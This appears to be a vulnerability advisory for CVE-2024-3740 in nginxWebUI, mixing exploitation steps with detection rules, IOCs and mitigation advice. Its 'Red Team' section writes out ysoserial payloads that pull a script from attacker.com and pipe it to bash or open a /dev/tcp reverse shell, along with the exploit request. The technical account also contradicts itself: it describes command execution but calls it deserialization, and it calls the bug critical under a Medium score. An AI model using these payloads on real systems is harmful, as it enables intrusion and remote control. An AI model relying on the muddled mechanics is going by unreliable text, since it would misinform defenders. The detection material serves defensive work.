CVE-2024-3740

Executive Summary

CVE-2024-3740 is a critical deserialization vulnerability in cym1102's nginxWebUI, affecting versions up to 3.9.9. The flaw resides in the /adminPage/conf/reload endpoint, where the nginxExe parameter is passed to the exec function without proper sanitization, leading to insecure deserialization. An unauthenticated attacker can exploit this remotely to execute arbitrary code, potentially gaining full control over the affected server. The exploit has been publicly disclosed, increasing the risk of widespread attacks. No official patch is currently available, making immediate mitigation essential.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a standalone Java-based web application (nginxWebUI) used for managing Nginx configurations.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Exploit does not cross trust boundaries.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited data modification.
• Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: High due to public exploit availability and lack of patch.

Deep Dive & Mechanics

The vulnerability is a classic insecure deserialization flaw in Java. The /adminPage/conf/reload endpoint accepts a nginxExe parameter, which is passed to the exec function. The application deserializes this input without validation, allowing an attacker to craft a malicious serialized Java object. When deserialized, this object triggers arbitrary code execution on the server.

Root Cause: The exec function in the ConfController class (or similar) directly deserializes user-supplied data without any checks. This is a common anti-pattern in Java applications that use ObjectInputStream without a whitelist.

Attack Flow:

1. Attacker identifies a target running nginxWebUI <= 3.9.9.
2. Attacker crafts a malicious serialized Java object (e.g., using ysoserial with a gadget chain like CommonsCollections).
3. Attacker sends a POST request to /adminPage/conf/reload with the nginxExe parameter containing the serialized payload.
4. The server deserializes the payload, executing arbitrary commands (e.g., reverse shell, data exfiltration).
5. Attacker gains control over the server.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// ConfController.java (vulnerable)
@RequestMapping("/adminPage/conf/reload")
public String reload(@RequestParam String nginxExe) {
    // Direct deserialization without validation
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(nginxExe)));
    Object obj = ois.readObject();
    // ... process obj
    return "success";
}

Patched Code (Hypothetical):

// ConfController.java (patched)
@RequestMapping("/adminPage/conf/reload")
public String reload(@RequestParam String nginxExe) {
    // Validate input: only allow expected string values
    if (!nginxExe.matches("^[a-zA-Z0-9_/.-]+$")) {
        throw new IllegalArgumentException("Invalid input");
    }
    // Use safe deserialization or avoid deserialization entirely
    ProcessBuilder pb = new ProcessBuilder(nginxExe, "reload");
    // ... execute safely
    return "success";
}

Key Difference: The patched version validates the input as a simple string and avoids deserialization. The vulnerable version blindly deserializes the input.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running nginxWebUI <= 3.9.9
• Java Runtime Environment (JRE) on attacker machine
• ysoserial tool (https://github.com/frohoff/ysoserial)

Exploit Steps:

1. Generate a malicious serialized payload using ysoserial:

   java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/revshell.sh | bash' > payload.bin
   

2. Base64-encode the payload:

   base64 -w0 payload.bin > payload.b64
   

3. Send the exploit request:

   curl -X POST "http://target:8080/adminPage/conf/reload" \
        -d "nginxExe=$(cat payload.b64)"
   

4. Set up a listener to receive the reverse shell:

   nc -lvnp 4444
   

Alternative Payload: For a reverse shell:

java -jar ysoserial.jar CommonsCollections5 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' > payload.bin

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for POST requests to /adminPage/conf/reload with unusually long or Base64-encoded nginxExe parameters.
2. Look for Java deserialization activity (e.g., ObjectInputStream calls) in application logs.
3. Check for outbound connections to unknown IPs on common ports (4444, 8080, etc.).
4. Use network monitoring to detect ysoserial gadget chain patterns.

Response:

1. Immediately isolate the affected server from the network.
2. Block the /adminPage/conf/reload endpoint at the WAF or reverse proxy.
3. Review logs for signs of exploitation (e.g., command execution, file creation).
4. Apply virtual patching if possible (e.g., ModSecurity rule).
5. Restore from a clean backup if compromised.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /adminPage/conf/reload with nginxExe parameter containing Base64-encoded data.
  • Outbound connections to attacker-controlled IPs on ports 4444, 8080, or 80.
  • Unusual DNS queries to domains associated with C2 infrastructure.

• File IOCs:

  • Presence of ysoserial payload files (e.g., payload.bin, payload.b64).
  • Unexpected files in /tmp/ or /var/tmp/ (e.g., revshell.sh).
  • Modified system binaries (e.g., /bin/bash replaced with a backdoor).

• Process IOCs:

  • Java process spawning child processes (e.g., bash, curl, wget).
  • Unusual network connections from the Java process.

• Log IOCs:

  • Application logs showing ObjectInputStream or readObject calls.
  • Web server logs with POST /adminPage/conf/reload entries.

Detection Engineering

YARA Rule

rule CVE_2024_3740_Deserialization {
    meta:
        description = "Detects ysoserial payloads targeting CVE-2024-3740"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-3740"
    strings:
        $s1 = "aced0005"  // Java serialization magic bytes (hex)
        $s2 = "rO0AB"     // Base64-encoded Java serialization
        $s3 = "CommonsCollections"  // Common gadget chain
        $s4 = "ysoserial"
    condition:
        any of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2024-3740 Exploitation Attempt
id: 8f9a2b3c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects POST requests to /adminPage/conf/reload with suspicious nginxExe parameter
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/adminPage/conf/reload'
        cs-uri-query|contains: 'nginxExe='
    condition: selection
falsepositives:
    - Legitimate configuration reloads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3740 - nginxWebUI Deserialization Exploit"; flow:to_server; content:"POST"; http_method; content:"/adminPage/conf/reload"; http_uri; content:"nginxExe="; http_client_body; pcre:"/rO0AB/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: Block access to /adminPage/conf/reload at the firewall or reverse proxy.
2. Apply virtual patching: Use a WAF rule to block requests with Base64-encoded or serialized data in the nginxExe parameter.
3. Restrict network access: Limit access to the nginxWebUI interface to trusted IPs only.
4. Monitor for exploitation: Deploy the detection rules above and review logs.

Long-term Fix:

• Upgrade: Monitor the vendor's repository (https://github.com/cym1102/nginxWebUI) for a patched version. If no patch is released, consider migrating to an alternative Nginx management tool.
• Code fix: If you maintain the application, implement input validation and avoid deserialization of user-supplied data. Use a whitelist of allowed values for the nginxExe parameter.
• Network segmentation: Place nginxWebUI in a DMZ with strict egress filtering.

Workaround:

• Replace the vulnerable exec function with a safe alternative that only accepts predefined strings (e.g., /usr/sbin/nginx).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert